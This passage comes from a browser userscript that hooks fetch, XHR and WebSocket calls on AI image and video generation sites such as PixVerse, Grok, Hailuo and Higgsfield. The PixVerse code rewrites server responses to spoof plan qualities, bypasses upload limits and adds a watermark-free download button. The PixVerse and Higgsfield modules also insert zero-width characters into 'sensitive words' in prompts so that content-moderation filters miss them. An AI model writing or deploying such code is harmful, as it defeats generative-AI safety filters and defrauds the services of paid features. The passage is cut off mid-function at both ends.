            type: 1
          }
        };
      }

      if (data?.Resp?.asset_id) {
        pixverseSaveUploadedMediaPath(data.Resp);
      }
      return data;
    }

    function pixverseModifyPlanDetails(data) {
      return {
        ...data,
        Resp: {
          ...data.Resp,
          qualities: ['360p', '540p', '720p', '1080p']
        }
      };
    }

    function pixverseModifyResponse(data, url, body) {
      if (!data || typeof data !== 'object') return null;
      if (url.includes('/creative_platform/user/credits') || url.includes('/user/credits')) return pixverseTryModifyCredits(data, url);
      if (settings.pixverseEnableUploadBypass && url.includes('/media/batch_upload_media')) return pixverseModifyBatchUpload(data);
      if (settings.pixverseEnableUploadBypass && url.includes('/media/upload')) return pixverseModifySingleUpload(data);
      if (url.includes('/creative_platform/members/plan_details')) return pixverseModifyPlanDetails(data);
      if (url.includes('/creative_platform/asset/library/list')) return pixverseModifyLibraryList(data, body);
      if (url.includes('/creative_platform/video/frame/last')) return pixverseModifyLibraryListVideo(data, body);
      return null;
    }

    function pixverseOverrideFetch() {
      if (pixverseFetchPatched || typeof pvWindow.fetch !== 'function') return;
      const original = pvWindow.fetch.bind(pvWindow);
      pvWindow.fetch = async function (...args) {
        const request = args[0];
        const requestUrl = typeof request === 'string' ? request : (request?.url || '');
        const requestBody = args?.[1]?.body || null;
        const response = await original(...args);

        const isPixverseApi = requestUrl.includes('pixverse.ai')
          && (
            requestUrl.includes('/creative_platform/user/credits')
            || requestUrl.includes('/creative_platform/asset/library/list')
            || requestUrl.includes('/creative_platform/video/frame/last')
            || requestUrl.includes('/media/upload')
            || requestUrl.includes('/media/batch_upload_media')
            || requestUrl.includes('/creative_platform/members/plan_details')
          );

        if (!isPixverseApi) return response;

        try {
          const text = await response.clone().text();
          if (!text || text[0] !== '{') return response;
          const parsed = JSON.parse(text);
          const modified = pixverseModifyResponse(parsed, requestUrl, requestBody);
          if (!modified) return response;

          const headers = new Headers(response.headers || {});
          headers.set('content-type', 'application/json;charset=UTF-8');
          pixverseUiLog('info', 'Fetch response modified', { url: requestUrl });
          return new Response(JSON.stringify(modified), {
            status: response.status,
            statusText: response.statusText,
            headers
          });
        } catch (err) {
          pixverseError('Fetch override processing failed', { url: requestUrl, error: String(err?.message || err) });
          return response;
        }
      };
      pixverseFetchPatched = true;
      pixverseLog('Fetch override initialized');
    }

    function pixverseEscapeRegExp(value) {
      return String(value).replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
    }

    function pixverseObfuscateWord(word) {
      return String(word).split('').join('\u200B');
    }

    function pixverseObfuscatePrompt(prompt) {
      let modified = String(prompt || '');
      const sensitiveWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords : [];
      if (!sensitiveWords.length) return modified;
      for (const sensitive of sensitiveWords) {
        const regex = new RegExp(`\\b${pixverseEscapeRegExp(sensitive)}\\b`, 'gi');
        modified = modified.replace(regex, match => pixverseObfuscateWord(match));
      }
      return modified;
    }

    function pixverseOverrideXHR() {
      try {
        const originalOpen = pvWindow.XMLHttpRequest.prototype.open;
        const originalSend = pvWindow.XMLHttpRequest.prototype.send;
        const originalSetRequestHeader = pvWindow.XMLHttpRequest.prototype.setRequestHeader;

        pvWindow.XMLHttpRequest.prototype.open = function (method, url) {
          this._pixverseRequestUrl = url;
          this._pixverseHeaders = {};
          return originalOpen.apply(this, arguments);
        };

        pvWindow.XMLHttpRequest.prototype.setRequestHeader = function (header, value) {
          this._pixverseHeaders[header] = value;
          return originalSetRequestHeader.apply(this, arguments);
        };

        pvWindow.XMLHttpRequest.prototype.send = function (body) {
          let currentBody = body;
          const url = this._pixverseRequestUrl || '';
          const self = this;
          pixverseSavedMediaPath = null;

          const loadHandler = function () {
            if (self.status >= 200 && self.status < 300) {
              try {
                if (self.responseType !== 'arraybuffer') {
                  const responseBody = self.responseType === 'json'
                    ? self.response
                    : pixverseSafeJsonParse(self.responseText || '{}', {});
                  const modified = pixverseModifyResponse(responseBody, url, currentBody);
                  if (modified) {
                    Object.defineProperties(self, {
                      response: { value: modified, writable: true, configurable: true },
                      responseText: { value: JSON.stringify(modified), writable: true, configurable: true }
                    });
                    pixverseLog('XHR response modified', { url });
                    pixverseLog('XHR response', modified);
                  }
                }
              } catch (e) {
                pixverseError('XHR response processing error:', e);
              }
            }
          };

          self.addEventListener('load', loadHandler, { once: true });

          if (settings.pixverseEnablePromptObfuscation && url.includes('/creative_platform/video/') && currentBody && typeof currentBody === 'string') {
            try {
              const data = JSON.parse(currentBody);
              if (data.prompt) {
                const before = data.prompt;
                data.prompt = pixverseObfuscatePrompt(data.prompt);
                currentBody = JSON.stringify(data);
                if (before !== data.prompt) {
                  pixverseLog('Prompt obfuscation applied', { url });
                }
              }
            } catch (e) {
              pixverseError('Error obfuscating video creation prompt:', e);
            }
          }

          if ((url.includes('/media/batch_upload_media') || url.includes('/media/upload')) && currentBody) {
            try {
              let parsed = currentBody;
              if (currentBody instanceof FormData) {
                parsed = Object.fromEntries(currentBody);
              } else if (typeof currentBody === 'string') {
                parsed = JSON.parse(currentBody || '{}');
              }

              if (url.includes('/media/batch_upload_media')) {
                return pvWindow.fetch(url.replace('batch_upload_media', 'upload'), {
                  method: 'POST',
                  headers: {
                    ...(this._pixverseHeaders || {}),
                    Cookie: document.cookie
                  },
                  body: JSON.stringify({
                    ...(parsed?.images?.[0] || {}),
                    type: 2
                  })
                }).then(result => {
                  pixverseSavedMediaPath = pixverseExtractMediaPath(parsed, url);
                  result.json().then(responseBody => {
                    if (responseBody?.Resp?.asset_id) {
                      pixverseSaveUploadedMediaPath(responseBody.Resp);
                    }
                  }).catch(() => {
                    // ignore
                  });

                  return originalSend.apply(self, [currentBody]);
                });
              }

              if (url.includes('/media/upload') && parsed?.type !== 2) {
                return originalSend.apply(self, [JSON.stringify({ ...parsed, type: 2 })]);
              }

              pixverseSavedMediaPath = pixverseExtractMediaPath(parsed, url);
            } catch (e) {
              pixverseError('Error parsing request body:', e);
            }
          }

          if (url.includes('/video/download')) {
            let data = currentBody;
            if (currentBody instanceof FormData) {
              data = Object.fromEntries(currentBody);
            } else if (typeof currentBody === 'string') {
              data = JSON.parse(currentBody || '{}');
            }

            if (data?.video_id) {
              const videoList = pixverseSafeJsonParse(localStorage.getItem('videoList'), {});
              if (videoList[data.video_id]) {
                const resolved = `https://media.pixverse.ai/${videoList[data.video_id]}`;
                upsertPixverseMediaEntry({
                  source: 'download',
                  type: 'video',
                  taskId: data.video_id,
                  mediaId: data.video_id,
                  url: resolved,
                  previewUrl: resolved,
                  raw: data
                });
                pixverseLog('Opened video download link', { videoId: data.video_id });
                window.open(resolved, '_blank');
              }
              return;
            }
          } else if (url.includes('/image/download')) {
            let data = currentBody;
            if (currentBody instanceof FormData) {
              data = Object.fromEntries(currentBody);
            } else if (typeof currentBody === 'string') {
              data = JSON.parse(currentBody || '{}');
            }

            if (data?.image_id) {
              const imageList = pixverseSafeJsonParse(localStorage.getItem('imageList'), {});
              if (imageList[data.image_id]) {
                const resolved = imageList[data.image_id];
                upsertPixverseMediaEntry({
                  source: 'download',
                  type: 'image',
                  taskId: data.image_id,
                  mediaId: data.image_id,
                  url: resolved,
                  previewUrl: resolved,
                  raw: data
                });
                pixverseLog('Opened image download link', { imageId: data.image_id });
                window.open(resolved, '_blank');
              }
              return;
            }
          }

          return originalSend.apply(self, [currentBody]);
        };

        pixverseLog('XHR overrides initialized');
      } catch (e) {
        pixverseError('XHR override failed:', e);
      }
    }

    function pixverseSetupWatermarkButton() {
      if (pixverseBtnAttached) return;

      function tryAttachButton() {
        const watermarkSpan = Array.from(document.querySelectorAll('div[role="menuitem"] span')).find(
          el => String(el.textContent || '').trim() === 'Watermark-free'
        );
        if (!watermarkSpan) return;
        if (watermarkSpan.dataset.ytdlcInjected) return;

        const newButton = document.createElement('button');
        newButton.textContent = 'Watermark-free';
        const computed = window.getComputedStyle(watermarkSpan);
        newButton.style.cssText = computed.cssText || '';
        newButton.style.background = '#142830';
        newButton.style.color = '#15FFFF';
        newButton.style.fontWeight = 'bold';
        newButton.style.cursor = 'pointer';
        newButton.style.borderRadius = '6px';
        newButton.style.marginLeft = '8px';
        newButton.style.padding = '6px 12px';

        newButton.onclick = function (event) {
          event.stopPropagation();
          const videoElement = document.querySelector('.component-video > video, video');
          if (videoElement && videoElement.src) {
            const videoUrl = videoElement.src;
            upsertPixverseMediaEntry({
              source: 'watermark-button',
              type: 'video',
              taskId: Date.now(),
              mediaId: videoUrl,
              url: videoUrl,
              previewUrl: videoUrl,
              raw: { from: 'watermark-button' }
            });
            pixverseLog('Watermark-free download button used');
            const linkEl = document.createElement('a');
            linkEl.href = videoUrl;
            linkEl.download = videoUrl.split('/').pop() || 'video.mp4';
            document.body.appendChild(linkEl);
            linkEl.click();
            document.body.removeChild(linkEl);
          } else {
            pixverseError('Video element not found or no src attribute');
            alert('Could not find the video to download. Please ensure a video is loaded.');
          }
        };

        watermarkSpan.parentNode.replaceChild(newButton, watermarkSpan);
        newButton.dataset.ytdlcInjected = '1';
        pixverseBtnAttached = true;
      }

      const startObserving = () => {
        tryAttachButton();
        const observer = new MutationObserver(() => tryAttachButton());
        observer.observe(document.body, { childList: true, subtree: true });
      };

      if (document.body) {
        startObserving();
      } else {
        document.addEventListener('DOMContentLoaded', startObserving);
      }
    }

    function pixverseInitialize() {
      if (pixverseInitialized) return;
      try {
        pixverseOverrideXHR();
        pixverseOverrideFetch();
        if (settings.pixverseEnableWatermarkButton) {
          pixverseSetupWatermarkButton();
        } else {
          pixverseWarn('Watermark button override is disabled in settings');
        }
        pixverseInitialized = true;
        pixverseLog('Pixverse module initialized');
      } catch (e) {
        pixverseError('Initialization failed:', e);
      }
    }

    pixverseInitialize();
  }

  // ============================================================================
  // GROK INTEGRATION (domain-gated)
  // ============================================================================

  function initGrokIntegration() {
    const GROK_PREFIX = '[freeinterenmt grok]';
    let grokInitialized = false;
    let grokFetchPatched = false;

    const grokLog = (level, message, details = null) => {
      if (level === 'error') {
        console.error(GROK_PREFIX, message, details || '');
      } else {
        console.log(GROK_PREFIX, message, details || '');
      }
      addGrokUiLog(level, message, details);
    };

    const grokWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;

    const safeJson = (input) => {
      if (input == null) return null;
      if (typeof input === 'object') return input;
      try {
        return JSON.parse(String(input));
      } catch {
        return null;
      }
    };

    const collectMediaFromObject = (node, source = 'unknown', visited = new WeakSet()) => {
      if (!node || typeof node !== 'object') return;
      if (visited.has(node)) return;
      visited.add(node);

      const process = (value, mediaType, keyName = '', taskId = null) => {
        const v = String(value || '').trim();
        if (!v || v.length < 6) return;
        upsertGrokMediaEntry({
          source,
          mediaType,
          url: v,
          taskId,
          mediaId: (typeof node === 'object' && (node.videoId || node.imageId || node.asset_id || node.id)) || v,
          raw: { key: keyName }
        });
      };

      const taskId = node.taskId || node.task_id || node.id || null;
      const videoKeys = ['videoUrl', 'video_url', 'mediaUrl', 'media_url', 'videoId', 'video_id', 'path'];
      const imageKeys = ['imageUrl', 'image_url', 'imageId', 'image_id', 'imageReference', 'thumbnail', 'previewUrl', 'last_frame'];

      videoKeys.forEach((k) => {
        if (node[k] != null) process(node[k], 'video', k, taskId);
      });
      imageKeys.forEach((k) => {
        if (node[k] != null) process(node[k], 'image', k, taskId);
      });

      for (const [k, v] of Object.entries(node)) {
        if (v && typeof v === 'object') {
          collectMediaFromObject(v, source, visited);
        } else if (typeof v === 'string' && /\.(mp4|webm|mov)(\?|$)/i.test(v)) {
          process(v, 'video', k, taskId);
        } else if (typeof v === 'string' && /\.(png|jpe?g|gif|webp)(\?|$)/i.test(v)) {
          process(v, 'image', k, taskId);
        }
      }
    };

    const tryCapturePayload = (payload, source, urlHint = '') => {
      if (!settings.grokInterceptorEnabled) return;
      const parsed = safeJson(payload);
      if (!parsed || typeof parsed !== 'object') return;
      collectMediaFromObject(parsed, source);
      if (urlHint) {
        grokLog('info', 'Payload scanned', { source, url: urlHint });
      }
    };

    const patchFetch = () => {
      if (grokFetchPatched || typeof grokWindow.fetch !== 'function') return;
      const nativeFetch = grokWindow.fetch.bind(grokWindow);
      grokWindow.fetch = async (...args) => {
        const req = args[0];
        const url = typeof req === 'string' ? req : (req?.url || '');
        const response = await nativeFetch(...args);
        if (!settings.grokInterceptorEnabled) return response;

        try {
          const ct = String(response.headers?.get?.('content-type') || '').toLowerCase();
          if (!ct.includes('json') && !url.includes('/rest/') && !url.includes('/_data/')) return response;
          const text = await response.clone().text();
          tryCapturePayload(text, 'fetch', url);
        } catch (err) {
          grokLog('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
        }
        return response;
      };
      grokFetchPatched = true;
      grokLog('success', 'Fetch capture initialized');
    };

    const patchXHR = () => {
      try {
        const proto = grokWindow.XMLHttpRequest && grokWindow.XMLHttpRequest.prototype;
        if (!proto || proto._grokCapturePatched) return;

        const originalOpen = proto.open;
        const originalSend = proto.send;

        proto.open = function (method, url) {
          this._grokCaptureUrl = url;
          return originalOpen.apply(this, arguments);
        };

        proto.send = function (body) {
          const url = this._grokCaptureUrl || '';
          this.addEventListener('load', () => {
            if (!settings.grokInterceptorEnabled) return;
            try {
              if (this.status < 200 || this.status >= 300) return;
              const text = String(this.responseType === 'json' ? JSON.stringify(this.response || {}) : (this.responseText || ''));
              tryCapturePayload(text, 'xhr', url);
            } catch (err) {
              grokLog('warn', 'XHR capture failed', { url, error: String(err?.message || err) });
            }
          }, { once: true });
          return originalSend.apply(this, [body]);
        };

        proto._grokCapturePatched = true;
        grokLog('success', 'XHR capture initialized');
      } catch (err) {
        grokLog('error', 'XHR patch failed', { error: String(err?.message || err) });
      }
    };

    const patchWebSocket = () => {
      try {
        const NativeWS = grokWindow.WebSocket;
        if (!NativeWS || NativeWS._grokCapturePatched) return;
        const WrappedWS = function (...args) {
          const ws = new NativeWS(...args);
          ws.addEventListener('message', (event) => {
            if (!settings.grokInterceptorEnabled) return;
            tryCapturePayload(event?.data, 'websocket', ws.url || '');
          });
          return ws;
        };
        WrappedWS.prototype = NativeWS.prototype;
        WrappedWS._grokCapturePatched = true;
        grokWindow.WebSocket = WrappedWS;
        grokLog('success', 'WebSocket capture initialized');
      } catch (err) {
        grokLog('warn', 'WebSocket patch failed', { error: String(err?.message || err) });
      }
    };

    const initialize = () => {
      if (grokInitialized) return;
      patchFetch();
      patchXHR();
      patchWebSocket();
      grokInitialized = true;
      grokLog('success', 'Grok module initialized', { domain: window.location.hostname });
    };

    initialize();
  }

  // ============================================================================
  // HAILUO INTEGRATION (domain-gated)
  // ============================================================================

  function initHailuoIntegration() {
    const HAILUO_PREFIX = '[freeinterenmt hailuoai]';
    const hailuoWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    let hailuoInitialized = false;

    const hailuoLog = (level, message, details = null) => {
      try {
        if (String(level).toLowerCase() === 'error') {
          console.error(HAILUO_PREFIX, message, details || '');
        } else {
          console.log(HAILUO_PREFIX, message, details || '');
        }
      } catch {
        // ignore
      }
      addHailuoUiLog(level, message, details);
    };

    const shouldAcceptUrl = (url) => {
      const u = String(url || '').trim();
      if (!u) return false;
      if (!/^https?:\/\//i.test(u)) return false;
      if (/\.(css|js|mjs|map|ico|svg|woff2?|ttf|otf)(\?|$)/i.test(u)) return false;
      if (/(favicon|sprite|analytics|telemetry|segment|sentry|hotjar)/i.test(u)) return false;
      const t = hailuoInferMediaType(u);
      return t === 'video' || t === 'image';
    };

    const captureUrl = (url, source, raw = null) => {
      if (!settings.hailuoCaptureMediaLinks) return;
      if (!shouldAcceptUrl(url)) return;

      const id = hailuoComputeId(url);
      if (!id) return;

      // Only log + refresh when we actually add something new.
      const before = loadHailuoMediaCache();
      const existed = !!before[id];

      upsertHailuoMediaEntry({
        id,
        url,
        mediaType: hailuoInferMediaType(url) || '',
        source,
        raw
      });

      if (!existed) {
        hailuoLog('info', 'Captured media url', { source, id, url });
      }
    };

    const extractUrlsFromText = (text, source, urlHint = '') => {
      if (!settings.hailuoCaptureMediaLinks) return;
      const normalized = String(text || '').replace(/\\\//g, '/');
      const regex = /(https?:\/\/[^\s"'<>]+?\.(?:mp4|webm|mov|m4v|m3u8|png|jpe?g|gif|webp)(?:\?[^\s"'<>]*)?)/ig;
      let match;
      let count = 0;
      while ((match = regex.exec(normalized))) {
        count += 1;
        captureUrl(match[1], source, { urlHint });
        if (count > 200) break;
      }
      if (count && urlHint) {
        hailuoLog('info', 'Text payload scanned', { source, url: urlHint, matches: count });
      }
    };

    const collectFromJsonLike = (node, source, visited = new WeakSet()) => {
      if (!node) return;
      if (typeof node === 'string') {
        extractUrlsFromText(node, source);
        return;
      }
      if (typeof node !== 'object') return;
      if (visited.has(node)) return;
      visited.add(node);

      if (Array.isArray(node)) {
        node.forEach((item) => collectFromJsonLike(item, source, visited));
        return;
      }

      for (const [k, v] of Object.entries(node)) {
        if (typeof v === 'string') {
          if (shouldAcceptUrl(v)) {
            captureUrl(v, source, { key: k });
          } else {
            extractUrlsFromText(v, source);
          }
        } else if (v && typeof v === 'object') {
          collectFromJsonLike(v, source, visited);
        }
      }
    };

    const patchFetch = () => {
      try {
        if (hailuoWindow.fetch?._hailuoCapturePatched) return;
        if (typeof hailuoWindow.fetch !== 'function') return;
        const nativeFetch = hailuoWindow.fetch.bind(hailuoWindow);
        const wrapped = async (...args) => {
          const req = args[0];
          const url = typeof req === 'string' ? req : (req?.url || '');
          const response = await nativeFetch(...args);
          if (!settings.hailuoCaptureMediaLinks) return response;
          try {
            const ct = String(response.headers?.get?.('content-type') || '').toLowerCase();
            if (!ct.includes('json') && !/api|graphql|\/rest\//i.test(url)) return response;
            const text = await response.clone().text();
            extractUrlsFromText(text, 'fetch', url);
            try {
              const parsed = JSON.parse(text);
              collectFromJsonLike(parsed, 'fetch');
            } catch {
              // ignore
            }
          } catch (err) {
            hailuoLog('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
          }
          return response;
        };
        wrapped._hailuoCapturePatched = true;
        hailuoWindow.fetch = wrapped;
        hailuoLog('success', 'Fetch capture initialized');
      } catch (err) {
        hailuoLog('warn', 'Fetch patch failed', { error: String(err?.message || err) });
      }
    };

    const patchXHR = () => {
      try {
        const proto = hailuoWindow.XMLHttpRequest && hailuoWindow.XMLHttpRequest.prototype;
        if (!proto || proto._hailuoCapturePatched) return;

        const originalOpen = proto.open;
        const originalSend = proto.send;

        proto.open = function (method, url) {
          this._hailuoCaptureUrl = url;
          return originalOpen.apply(this, arguments);
        };

        proto.send = function (body) {
          const url = this._hailuoCaptureUrl || '';
          this.addEventListener('load', () => {
            if (!settings.hailuoCaptureMediaLinks) return;
            try {
              if (this.status < 200 || this.status >= 300) return;
              const text = String(this.responseType === 'json' ? JSON.stringify(this.response || {}) : (this.responseText || ''));
              extractUrlsFromText(text, 'xhr', url);
              try {
                const parsed = JSON.parse(text);
                collectFromJsonLike(parsed, 'xhr');
              } catch {
                // ignore
              }
            } catch (err) {
              hailuoLog('warn', 'XHR capture failed', { url, error: String(err?.message || err) });
            }
          }, { once: true });
          return originalSend.apply(this, [body]);
        };

        proto._hailuoCapturePatched = true;
        hailuoLog('success', 'XHR capture initialized');
      } catch (err) {
        hailuoLog('warn', 'XHR patch failed', { error: String(err?.message || err) });
      }
    };

    const scanDomOnce = (reason = 'manual') => {
      if (!settings.hailuoCaptureMediaLinks) return;
      try {
        const videos = Array.from(document.querySelectorAll('video'));
        videos.forEach((video) => {
          captureUrl(video.currentSrc || video.src || '', 'dom-video', { reason });
          captureUrl(video.poster || '', 'dom-video-poster', { reason });
          Array.from(video.querySelectorAll('source')).forEach((sourceEl) => {
            captureUrl(sourceEl.src || '', 'dom-video-source', { reason });
          });
        });

        const sources = Array.from(document.querySelectorAll('source'));
        sources.forEach((sourceEl) => captureUrl(sourceEl.src || '', 'dom-source', { reason }));

        const images = Array.from(document.querySelectorAll('img'));
        images.forEach((img) => {
          captureUrl(img.currentSrc || img.src || '', 'dom-img', { reason });
          captureUrl(img.getAttribute('data-src') || '', 'dom-img-data-src', { reason });
        });

        const anchors = Array.from(document.querySelectorAll('a[href]'));
        anchors.forEach((a) => captureUrl(a.href || '', 'dom-link', { reason }));
      } catch (err) {
        hailuoLog('warn', 'DOM scan failed', { reason, error: String(err?.message || err) });
      }
    };

    let scanTimer = null;
    const scheduleScan = (reason) => {
      if (scanTimer) return;
      scanTimer = setTimeout(() => {
        scanTimer = null;
        scanDomOnce(reason);
      }, 650);
    };

    const startObserver = () => {
      try {
        if (!document.documentElement) return;
        const observer = new MutationObserver(() => scheduleScan('mutation'));
        observer.observe(document.documentElement, { childList: true, subtree: true });
        hailuoLog('success', 'DOM observer initialized');
      } catch (err) {
        hailuoLog('warn', 'DOM observer failed', { error: String(err?.message || err) });
      }
    };

    const initialize = () => {
      if (hailuoInitialized) return;
      patchFetch();
      patchXHR();
      scanDomOnce('startup');
      startObserver();
      hailuoInitialized = true;
      hailuoLog('success', 'Hailuo module initialized', { domain: window.location.hostname });
    };

    initialize();
  }

  // ============================================================================
  // HIGGSFIELD INTEGRATION (domain-gated)
  // ============================================================================

  function initHiggsfieldIntegration() {
    const HIGGSFIELD_PREFIX = '[freeinterenmt higgsfield]';
    const higgsfieldWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    let initialized = false;

    const log = (level, message, details = null) => {
      try {
        if (String(level).toLowerCase() === 'error') console.error(HIGGSFIELD_PREFIX, message, details || '');
        else console.log(HIGGSFIELD_PREFIX, message, details || '');
      } catch {
        // ignore
      }
      addHiggsfieldUiLog(level, message, details);
    };

    const isRelevantUrl = (url) => /\/user|\/project|\/custom-references|\/jobs/i.test(String(url || ''));

    const handlePayload = async (data, requestUrl, source = 'fetch') => {
      if (!data || typeof data !== 'object') return;

      if (/\/user\/free-gens/i.test(requestUrl)) {
        log('info', 'Observed Higgsfield quota response', {
          source,
          keys: Object.keys(data).slice(0, 12),
          soul: data?.soul ?? null
        });
        return;
      }

      if (/\/custom-references\/v2/i.test(requestUrl) && Array.isArray(data.items)) {
        await Promise.all(data.items.map((item) => upsertHiggsfieldSoul(item, `${source}:custom-references-v2`)));
        return;
      }

      if (/\/custom-references/i.test(requestUrl) && data?.id) {
        await upsertHiggsfieldSoul(data, `${source}:custom-reference`);
        return;
      }

      if (/\/project/i.test(requestUrl) && Array.isArray(data?.job_sets)) {
        for (const jobSet of data.job_sets) {
          await upsertHiggsfieldJob(mapHiggsfieldJobSetToProject(jobSet), `${source}:project`);
        }
        return;
      }

      if (/\/jobs/i.test(requestUrl) && (data?.job_set_id || data?.id)) {
        await upsertHiggsfieldJob(mapHiggsfieldJobSetToProject(data), `${source}:jobs`);
      }
    };

    const maybeBuildModifiedPayload = async (data, requestUrl) => {
      if (!data || typeof data !== 'object') return null;

      if (/\/custom-references\/v2/i.test(requestUrl) && Array.isArray(data.items)) {
        const cachedCompleted = await higgsfieldSouls.getAll(
          (soul) => soul?.status === 'completed' && data.items.findIndex((item) => item?.id === soul?.id) === -1,
          'created_at',
          true
        ).catch(() => []);
        if (cachedCompleted.length) {
          return {
            ...data,
            items: data.items.concat(cachedCompleted)
          };
        }
      }

      if (/\/custom-references/i.test(requestUrl)) {
        try {
          const urlObj = new URL(requestUrl, window.location.origin);
          const id = urlObj.pathname.split('/').filter(Boolean).at(-1);
          if (id && id !== 'custom-references' && !data?.id) {
            const cachedSoul = await higgsfieldSouls.get(id).catch(() => null);
            if (cachedSoul) return cachedSoul;
          }
        } catch {
          // ignore URL parse issues
        }
      }

      return null;
    };

    const patchFetch = () => {
      try {
        if (higgsfieldWindow.fetch?._higgsfieldCapturePatched) return;
        if (typeof higgsfieldWindow.fetch !== 'function') return;
        const nativeFetch = higgsfieldWindow.fetch.bind(higgsfieldWindow);
        const wrapped = async (...args) => {
          const req = args[0];
          const url = typeof req === 'string' ? req : (req?.url || '');
          const method = String(args?.[1]?.method || req?.method || '').toUpperCase();
          if (settings.higgsfieldEnablePromptObfuscation && /\/jobs\//i.test(url) && method === 'POST' && args?.[1]?.body) {
            try {
              const parsedBody = JSON.parse(String(args[1].body));
              const currentPrompt = String(parsedBody?.params?.prompt || '');
              if (currentPrompt) {
                const nextPrompt = obfuscateHiggsfieldPrompt(currentPrompt);
                if (nextPrompt !== currentPrompt) {
                  args = [...args];
                  args[1] = {
                    ...args[1],
                    body: JSON.stringify({
                      ...parsedBody,
                      params: {
                        ...(parsedBody.params || {}),
                        prompt: nextPrompt
                      }
                    })
                  };
                  log('info', 'Obfuscated outgoing Higgsfield prompt', { url, length: currentPrompt.length });
                }
              }
            } catch (err) {
              log('warn', 'Failed to obfuscate outgoing Higgsfield prompt', { url, error: String(err?.message || err) });
            }
          }
          const response = await nativeFetch(...args);
          if (!isRelevantUrl(url)) return response;
          try {
            const contentType = String(response.headers?.get?.('content-type') || '').toLowerCase();
            if (!contentType.includes('json')) return response;
            const text = await response.clone().text();
            if (!text || (!text.trim().startsWith('{') && !text.trim().startsWith('['))) return response;
            const parsed = JSON.parse(text);
            await handlePayload(parsed, url, 'fetch');
            const modifiedPayload = await maybeBuildModifiedPayload(parsed, url);
            if (modifiedPayload) {
              return new Response(JSON.stringify(modifiedPayload), {
                status: response.status,
                statusText: response.statusText,
                headers: response.headers
              });
            }
          } catch (err) {
            log('warn', 'Fetch capture failed', { url, error: String(err?.message || err) });
          }
          return response;
        };
        wrapped._higgsfieldCapturePatched = true;
        higgsfieldWindow.fetch = wrapped;
        log('success', 'Fetch capture initialized');
      } catch (err) {
        log('warn', 'Fetch patch failed', { error: String(err?.message || err) });
      }
    };

    const initialize = () => {
      if (initialized) return;
      patchFetch();
      initialized = true;
      log('success', 'Higgsfield module initialized', { domain: window.location.hostname });
    };

    initialize();
  }

  if (/^app\.pixverse\.ai$/i.test(window.location.hostname)) {
    initPixverseIntegration();
  }

  if (IS_DIGEN_DOMAIN) {
    initDigenIntegration();
  }

  if (IS_GROK_DOMAIN) {
    initGrokIntegration();
  }

  if (IS_HIGGSFIELD_DOMAIN) {
    initHiggsfieldIntegration();
  }

  if (IS_HAILUO_DOMAIN) {
    initHailuoIntegration();
  }

  // Initialize - Check if we're on the profile page at freeinternet.tensor.art
  const profilePageMatch = window.location.href.match(/freeinternet\.tensor\.art.*freeinternet\?profiles=([^&]+)/);
  if (profilePageMatch) {
    // Prevent page auto-refresh
    Object.defineProperty(window.location, 'href', {
      set: function() {},
      get: function() { return window.location.href; }
    });

    const profileName = decodeURIComponent(profilePageMatch[1]);
    const profiles = getTaskProfiles();
    const profile = profiles[profileName];

    // Wait briefly for page to start rendering, then replace entire HTML
    setTimeout(() => {
      // Stop all page updates
      window.stop();

      // Get or create body
      let body = document.body;
      if (!body) {
        body = document.createElement('body');
        document.documentElement.appendChild(body);
      }

      // Clear and rebuild the page completely
      body.innerHTML = '';
      body.style.cssText = `
        margin: 0;
        padding: 0;
        background: #0f172a;
        color: #e2e8f0;
        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        overflow-x: hidden;
      `;

      // Add Font Awesome if not present
      if (!document.querySelector('link[href*="fontawesome"]')) {
        const faLink = document.createElement('link');
        faLink.rel = 'stylesheet';
        faLink.href = 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css';
        document.head.appendChild(faLink);
      }

      if (profile && profile.tasks && profile.tasks.length > 0) {
        // Build profile page HTML
        const profileHTML = `
          <div style="min-height: 100vh; background: #0f172a; color: #e2e8f0;">
            <div style="max-width: 1400px; margin: 0 auto; padding: 40px 20px;">
              <!-- Header -->
              <div style="display: flex; justify-content: space-between; align-items: flex-start; padding-bottom: 24px; border-bottom: 1px solid rgba(148, 163, 184, 0.2); margin-bottom: 32px;">
                <div>
                  <h1 style="font-size: 32px; font-weight: 700; margin: 0 0 8px 0; color: #f1f5f9;">
                    <i class="fas fa-layer-group" style="margin-right: 12px; color: #6366f1;"></i>${escapeHtml(profileName)}
                  </h1>
                  <p style="margin: 0; color: #94a3b8; font-size: 14px;">Task Profile Collection</p>
                </div>
                <div style="text-align: right; color: #94a3b8; font-size: 13px;">
                  <div style="margin-bottom: 8px;"><strong>${profile.tasks.length}</strong> tasks</div>
                  <div>Created: ${new Date(profile.createdAt).toLocaleDateString()}</div>
                </div>
              </div>

              <!-- Actions -->
              <div style="display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 32px;">
                <button onclick="(() => { const json = '${JSON.stringify(profile).replace(/'/g, "\\'")}'; const blob = new Blob([json], {type: 'application/json'}); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = '${profileName}_profile.json'; a.click(); URL.revokeObjectURL(url); })()" style="padding: 12px 20px; border: 1px solid #6366f1; background: rgba(99, 102, 241, 0.1); color: #6366f1; border-radius: 8px; cursor: pointer; font-weight: 600; transition: all 0.2s; display: flex; align-items: center; gap: 8px;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#818cf8';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='#6366f1';">
                  <i class="fas fa-download"></i> Export JSON
                </button>
                <button onclick="window.location.href='https://freeinternet.tensor.art/';" style="padding: 12px 20px; border: 1px solid rgba(148, 163, 184, 0.5); background: rgba(148, 163, 184, 0.1); color: #cbd5e1; border-radius: 8px; cursor: pointer; font-weight: 600; transition: all 0.2s; display: flex; align-items: center; gap: 8px;" onmouseover="this.style.background='rgba(148, 163, 184, 0.2)';" onmouseout="this.style.background='rgba(148, 163, 184, 0.1)';">
                  <i class="fas fa-arrow-left"></i> Back to FREEInternet
                </button>
              </div>

              <!-- Media Grid -->
              <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); gap: 20px;">
                ${profile.tasks.map((taskEntry, taskIdx) =>
